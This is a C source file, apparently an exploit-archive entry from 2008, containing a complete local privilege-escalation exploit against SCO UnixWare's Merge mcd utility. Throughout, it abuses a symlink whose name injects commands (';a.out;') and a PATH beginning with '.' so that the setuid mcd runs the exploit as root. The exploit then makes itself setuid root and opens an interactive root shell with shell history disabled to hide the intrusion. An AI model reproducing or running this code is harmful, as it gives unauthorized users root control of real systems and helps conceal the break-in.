UnixWare Merge mcd Local Root Exploit

                                                /* 04/2008: public release
 * I have'nt seen any advisory on this; possibly still not fixed.
 *
 * SCO UnixWare Merge mcd Local Root Exploit
 * By qaaz
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/stat.h>

#define TARGET "/usr/lib/merge/mcd"
#define DIR "/proc/%d/object", getpid()
#define BIN "a.out"
#define LNK "hrc;" BIN ";prc"
#define DEV "/dev/cdrom/cdrom1"

int main(int argc, char *argv[])
{
 char  dir[4096], bin[4096];
 char  dev[4096], env[4096];
 pid_t  child;
 struct stat st;

 if (geteuid() == 0) {
  setuid(geteuid());
  setgid(getegid());
  if (strstr(argv[0], BIN)) {
   umask(0);
   chown(BIN, 0, 3);
   chmod(BIN, 06777);
   kill(getppid(), 15);
   return 0;
  }
  putenv("HISTFILE=/dev/null");
  execl("/bin/sh", "sh", "-i", NULL);
  printf("[-] sh: %s\n", strerror(errno));
  return 1;
 }

 printf("---------------------------------------\n");
 printf(" UnixWare Merge mcd Local Root Exploit\n");
 printf(" By qaaz\n");
 printf("---------------------------------------\n");

 if (access(TARGET, EX_OK) < 0) {
  printf("[-] %s: %s\n", TARGET, strerror(errno));
  return 1;
 }

 if (symlink(DEV, LNK) < 0) {
  printf("[-] %s: %s\n", LNK, strerror(errno));
  return 1;
 }

 sprintf(dir, DIR);
 sprintf(bin, "%s/%s", dir, BIN);

 snprintf(dev, sizeof(dev), "/dev/cdrom/../../%s/%s", getcwd(NULL, 4096), 
LNK);
 snprintf(env, sizeof(env), "PATH=.:%s", getenv("PATH"));

 if ((child = fork()) == 0) {
  chdir(dir);
  putenv(env);
  execl(TARGET, TARGET, "-u", "-d", dev, NULL);
  printf("[-] %s: %s\n", TARGET, strerror(errno));
  return 1;
 } /*else if (child != -1)
  waitpid(child, NULL, 0);*/

 printf("[*] Waiting for privs...\n");
 while (stat(bin, &st) == 0) {
  if ((st.st_mode & 06777) == 06777) {
   printf("[+] Enjoy\n");
   unlink(LNK);
   execl(bin, "woot", NULL);
   printf("[-] %s: %s\n", bin, strerror(errno));
   return 1;
  }
  sleep(1);
 }
 printf("[-] %s: %s\n", bin, strerror(errno));
 unlink(LNK);
 return 0;
}